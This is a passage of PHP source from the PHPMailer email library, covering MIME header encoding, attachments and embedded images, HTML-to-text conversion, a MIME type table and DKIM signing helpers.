                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
